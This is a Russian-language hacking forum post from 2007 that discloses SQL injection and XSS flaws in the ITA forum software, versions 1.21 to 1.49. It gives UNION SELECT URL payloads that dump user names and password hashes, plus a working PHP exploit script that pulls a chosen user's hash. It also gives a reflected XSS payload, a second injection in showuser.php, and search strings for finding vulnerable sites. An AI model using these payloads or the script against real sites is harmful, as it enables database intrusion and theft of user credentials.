Показать сообщение отдельно

  #8  
Старый 18.04.2007, 19:31
Аватар для Grey
Grey
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию

Форум: ITA forum
Версия: 1.21
Версия: 1.31
Версия: 1.49

Из-за отсутствия фильтрации параметров, есть возможность осуществить SQL инъекцию.

Сценарий showforum.php.
Уязвим параметр fid.

------------

PHP код:
$trs mysql_query("SELECT forumtitle, locked FROM itaf_forum WHERE forumid = '$fid'"); 
Параметр передаёться, как есть, без какой либо фильтрации.

------------

Делаем запрос к БД и в результате получам имя и хеш (mysql4) пароля пользователя:

Код:
http://site.ru/forum/showforum.php?fid='+union+select+concat(id,char(58),user_name,char(58),user_pass),2+from+itaf_user+limit+0,1/*
Перебираем пользователей:

Код:
http://site.ru/forum/showforum.php?fid='+union+select+concat(id,char(58),user_name,char(58),user_pass),2+from+itaf_user+limit+1,1/*
http://site.ru/forum/showforum.php?fid='+union+select+concat(id,char(58),user_name,char(58),user_pass),2+from+itaf_user+limit+2,1/*
------------

Для удобства написал небольшой слойт, который выдирает хеш пользователя (id пользователя задаёться):

PHP код:
<?php

// coded by Grey

if($argc == 4)
{
$a file('http://'.$argv[1].$argv[2].'showforum.php?fid=\'+union+select+user_pass,2+from+itaf_user+where+id='.$argv[3].'/*');
for(
$i 0$i count($a); $i++)
{
if(
eregi("[a-f0-9]{16,16}",$a[$i],$b))
{
echo(
"\n");
echo(
$b[0]);
echo(
"\n");
$t 1;
break;
}
}
if(
$t != 1) { echo("Exploit failed"); }
}
else
{
echo(
"\n");
echo(
'Usage: '.$argv[0].' site dir user_id');
echo(
"\n");
echo(
'Usage: '.$argv[0].' site.ru /forum/ 1');
echo(
"\n");
}
?>
Использование сплойта:

php c:\exp.php site dir user_id

php c:\exp.php site.ru /forum/ 1

site - сайт
dir - директория с форумом
user_id - номер пользователя

------------------------------------------------------------

Для поиска сайтов с таким форумом вводим: Powered By: V1.21
Для поиска сайтов с таким форумом вводим: Powered By: V1.31
Для поиска сайтов с таким форумом вводим: Powered By: V1.49

К сожалению можно встретить и пропатченную версию, в которой эта уязвимость исправленна.

------------------------------------------------------------
------------------------------------------------------------

Другие уязвимости:

1. Форум: ITA forum
Версия: 1.31 (возможно и другие версии)
Версия: 1.49 (возможно и другие версии)

Пассивная XSS:

Код:
http://site.ru/search.php?Submit=true&search="><script>alert(123);</script>
2. Форум: ITA forum
Версия: 1.49 (возможно и другие версии)

SQL инъекция:

Код:
http://site.ru/showuser.php?uid='+union+select+1,concat(user_name,char(58),user_pass),3,4,5,6,7,8,9,10,11,12,13,14,15+from+itaf_user/*

Последний раз редактировалось Grey; 05.09.2007 в 21:39..
 
Ответить с цитированием